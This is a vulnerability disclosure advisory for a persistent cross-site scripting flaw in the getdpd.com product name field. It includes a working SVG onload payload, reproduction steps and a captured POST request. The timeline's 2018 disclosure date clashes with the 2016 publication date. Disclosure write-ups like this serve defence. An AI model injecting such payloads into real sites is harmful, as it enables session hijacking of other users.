Document Title:
===============
Getdpd BB #4 - (name) Persistent Validation Vulnerability


Date:
=====
2016-02-08


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1568

ID: #14772


VL-ID:
=====
1568


Common Vulnerability Scoring System:
====================================
3.8


Introduction:
=============
DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and 
delivers millions worth of downloads each year.

(Copy of the Vendor Homepage: https://getdpd.com/security )


Abstract:
=========
The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application.


Report-Timeline:
================
2015-08-09: Researcher Notification & Coordination (Hadji Samir)
2015-08-10: Vendor Notification (Getdpd Security Team - Bug Bounty Program)
2015-09-02: Vendor Response/Feedback (Getdpd Security Team - Bug Bounty Program)
2016-01-22: Vendor Fix/Patch (Getdpd Developer Team)
2018-02-08: Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
DPD - Digital Product Delivery
Product: DPD Online Service (Web-Application) v2015 Q3


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application.
The security vulnerability allows remote attackers to inject own script code on the application-side of the affected application module.

The vulnerability is located in the product name input value. Remote attackers with low privilege web-application user accounts are able to 
inject own malicious script code via POST method request. The injection point is the vulnerable Product parameter with the name  input and 
the execution point is located in https://getdpd.com/storefront/productchooser  module. The request method to inject is POST and the 
vulnerability is located on the application-side of the vulnerable service.

The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. 
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source 
and persistent manipulation of affected or connected application modules.

Request Method(s):
						[+] POST

Vulnerable Service(s):
						[+] getdpd.com
						
Vulnerable Module(s):
						[+] Pulldown Builder _ DPD Shopping Cart
						
Vulnerable Parameter(s):
						[+] name (form data via POST)


Proof of Concept:
=================
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Create a new  product with name "></option></select></div><svg onload=alert(document.cookie)>
2. Open  https://getdpd.com/storefront/productchooser  ...  the code will execute <svg onload=alert(document.cookie)>
3. Successful reproduce of the security vulnerability!


--- PoC Session Logs [POST] ---
11:42:04.317[464ms][total 464ms] 
Status: 302[Found]
POST https://getdpd.com/product/update/114785 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[113] Mime Type[text/html]
   Request Headers:
      Host[getdpd.com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Referer[https://getdpd.com/product/edit/114785]
      Cookie[_src=https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1; _ga=GA1.2.163063198.1438880403; __zlcmid=W5erEG66rmgkKt; referrer=javascript:alert(1); view-cart-button=https%3A%2F%2Fgetdpd.com%2Fimages%2Fbuy_buttons%2Fvc%2Fsolid1%2Fdpd_viewcart_2.png; symfony=4fk57k07c4c3blm6piak6rrk01; _csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; _gat=1]
      X-Forwarded-For[8.8.8.8]
      Connection[keep-alive]
Post Data:
POST_DATA[-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="_csrf_token"
5dd0e8de2f12cbf4cfdddb7af46239126a7861de
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="storefront_id"
23842
-----------------------------2026716451270970083621900121Content-Disposition: form-data; name="wizard"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="type"
digital
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="name"
"></option></select></div><svg onload=alert(1)> [MALICIOUS PAYLOAD INJECTION!]
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="price"
0.00
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="sku"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="hoplink_target_url"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="show_on_index"
0
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="show_on_index"
1
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="image_file"; filename=""
Content-Type: application/octet-stream
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="description"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="long_description"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="collect_customer_info"
1
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="purchase_limit"
0
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="eula"
-----------------------------2026716451270970083621900121--]
Response Headers:
      Date[Mon, 10 Aug 2015 10:45:29 GMT]
      Server[Apache]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      Location[https://getdpd.com/product/detail/114785]
      Set-Cookie[_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure]
      Vary[Accept-Encoding,User-Agent]
      Content-Encoding[gzip]
      P3p[CP="NOI CURa OUR NOR UNI"]
      Content-Length[113]
      Connection[close]
      Content-Type[text/html]


PoC: Source
<div class="amselect-container" style="">
<div id="asmContainer0" class="asmContainer"><select id="asmSelect0" name="asmSelect0" class="asmSelect">
<option selected="selected">undefined</option> ($0.00)</select><ol id="asmList0" class="asmList ui-sortable asmListSortable"></ol>
<select style="display: none;" name="product_ids[]" id="product_ids" multiple="multiple"><option id="asm0option0" 
value="https://getdpd.com/cart/buy/23842/114785/121300">"></option></select></div><svg onload=alert('xss')> ($0.00)</option>
</select></div>          </div>
...    ...
<div id="page-wrapper">
      <ul class="breadcrumb">
                    <li><a href="https://getdpd.com/dashboard">Dashboard</a> ›</li>
              <li><a href="https://getdpd.com/product/list?filter=1">Your Products</a> ›</li>
              <li><a href="https://getdpd.com/storefront/productchooser?id=23842">Pulldown Builder</a></li>
        </ul>
  <div class="page"> 
    <!-- Start Sidebar -->
    <div id="sidebar"> 
    <span style="margin:10px 0 0 12px; font-size: 14px; color: #555">test01</span><hr style="margin: 5px;">
      <form action="" id="storefront-form" class="form-inline" style="margin-top: 5px;">  
      <select name="_storefront_id" id="_storefront_id" class="input" style="width: 185px; margin:5px 0 0 10px;"><option selected="selected" value="">Switch Store...</option>
<option value="23786">"><img src="c"></option>
<option value="23787">samirvuln</option>
<option value="23808">test</option>
</select>    <ul class="nav nav-pills nav-stacked">
    <li><a href="https://getdpd.com/userwizard/newStoreModal"><i class="minicon-add"></i> Add New Store</a></li>
  </ul>
</form>



Reference(s):
https://getdpd.com/
https://getdpd.com/dashboard
https://getdpd.com/storefront/productchooser?id=
https://getdpd.com/product/update/114785 
https://getdpd.com/product/detail/114785
https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1



Solution:
=========
The vulnerability can be patched by a secure parse and encode of the vulnerable name input fields. Restrict the input and disallow usage of special chars.
Filter and setup a secure exception handling that prevents the persistent execution in the output location.


Risk:
=====
The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 3.8)


Credits:
========
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]


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===========
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